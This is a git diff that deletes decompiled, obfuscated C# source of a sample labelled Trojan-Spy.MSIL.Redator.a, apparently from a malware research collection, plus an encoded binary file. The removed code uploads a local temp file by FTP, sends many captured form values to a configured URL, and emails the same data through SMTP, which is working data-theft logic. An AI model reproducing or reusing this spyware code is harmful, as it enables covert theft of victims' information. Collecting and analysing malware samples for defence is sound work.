\u0001.\u0003(-1567520986) + this.\u008A().Text; - this.\u0001 = !this.\u008A().Text.EndsWith(\u0001.\u0003(-1567520975)) ? this.\u0001 + \u0001.\u0003(-1567520975) : this.\u0001; - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(this.\u0001 + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516534)); - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(this.\u008C().Text, this.\u008D().Text); - ftpWebRequest.Method = \u0001.\u0003(-1567521079); - byte[] buffer = System.IO.File.ReadAllBytes(tempPath + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516534)); - Stream requestStream = ftpWebRequest.GetRequestStream(); - requestStream.Write(buffer, 0, buffer.Length); - requestStream.Close(); - requestStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(this.\u008E().Text, string.Empty, false) != 0) - WebRequest.Create(this.\u008E().Text + \u0001.\u0003(-1567521082) + this.\u0018().Text + \u0001.\u0003(-1567521237) + this.\u0019().Text + \u0001.\u0003(-1567521403) + this.\u008F().Text + \u0001.\u0003(-1567521423) + this.\u0094().Text + \u0001.\u0003(-1567521556) + this.\u001E().Text + \u0001.\u0003(-1567521733) + this.\u0080().Text + \u0001.\u0003(-1567519898) + this.\u001F().Text + \u0001.\u0003(-1567520093) + this.\u007F().Text + \u0001.\u0003(-1567520284) + this.\u0091().Text + \u0001.\u0003(-1567520401) + this.\u0089().Text + \u0001.\u0003(-1567520545) + this.\u0090().Text + \u0001.\u0003(-1567520587) + this.\u000E().Text + \u0001.\u0003(-1567516826) + this.\u000F().Text + \u0001.\u0003(-1567516826) + this.\u0010().Text + \u0001.\u0003(-1567516826) + this.\u0011().Text + \u0001.\u0003(-1567516826) + this.\u0012().Text + \u0001.\u0003(-1567516826) + this.\u0013().Text).GetResponse(); - try - { - if (System.IO.File.Exists(tempPath + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516060))) - System.IO.File.Delete(tempPath + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516060)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.\u0007().Stop(); - } - - private void \u000F([In] object obj0, [In] EventArgs obj1) - { - try - { - new SmtpClient(this.\u0087().Text) - { - Port = Conversions.ToInteger(this.\u0088().Text), - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0007().Text, this.\u0008().Text)) - }.Send(new MailMessage() - { - From = new MailAddress(this.\u0007().Text), - To = { - this.\u0007().Text - }, - Subject = this.\u0001 + \u0001.\u0003(-1567514679) + this.\u0001, - Body = \u0001.\u0003(-1567514655) + this.\u0018().Text + \u0001.\u0003(-1567518848) + this.\u0019().Text + \u0001.\u0003(-1567518858) + this.\u008F().Text + \u0001.\u0003(-1567518982) + this.\u0094().Text + \u0001.\u0003(-1567519131) + this.\u001E().Text + \u0001.\u0003(-1567515093) + this.\u0080().Text + \u0001.\u0003(-1567515257) + this.\u001F().Text + \u0001.\u0003(-1567515440) + this.\u007F().Text + \u0001.\u0003(-1567515597) + this.\u0091().Text + \u0001.\u0003(-1567519412) + this.\u009A().Text + \u0001.\u0003(-1567519543) + this.\u0090().Text + \u0001.\u0003(-1567521858) + this.\u000E().Text + \u0001.\u0003(-1567516826) + this.\u000F().Text + \u0001.\u0003(-1567516826) + this.\u0010().Text + \u0001.\u0003(-1567516826) + this.\u0011().Text + \u0001.\u0003(-1567516826) + this.\u0012().Text + \u0001.\u0003(-1567516826) + this.\u0013().Text - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.\u0008().Stop(); - this.\u0008().Enabled = false; - } - - private void \u0003([In] object obj0, [In] DoWorkEventArgs obj1) => this.\u0008(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0007/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0007/_0001.cs deleted file mode 100644 index 7ebb8965..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0007/_0001.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0004; -using \u0005; -using \u0007; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace \u0007 -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class \u0001 : ApplicationSettingsBase - { - private static \u0001 \u0001 = (\u0001) SettingsBase.Synchronized((SettingsBase) new \u0001()); - private static bool \u0001; - private static object \u0001 = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public \u0001() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void \u0003(object sender, EventArgs e) - { - if (!\u0002.\u0003().SaveMySettingsOnExit) - return; - \u0003.\u0003().Save(); - } - - public static \u0001 Default - { - get - { - if (!\u0001.\u0001) - { - object Expression = \u0001.\u0001; - ObjectFlowControl.CheckForSyncLockOnValueType(Expression); - Monitor.Enter(Expression); - try - { - if (!\u0001.\u0001) - { - \u0002.\u0003().Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0002.\u0003().SaveMySettingsOnExit) - return; - \u0003.\u0003().Save(); - }); - \u0001.\u0001 = true; - } - } - finally - { - Monitor.Exit(Expression); - } - } - return \u0001.\u0001; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_003CModule_003E.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_003CModule_003E.cs deleted file mode 100644 index 5d5fb4c6..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_003CModule_003E.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0001; -using \u0003; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u0002.\u0003(); - \u0002.\u0003(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/{22542804-11a8-4fba-88a0-b451cddbacb6} b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/{22542804-11a8-4fba-88a0-b451cddbacb6} deleted file mode 100644 index 73fc6282b078e548d9ed4115acede13db2e14372..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 18004 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 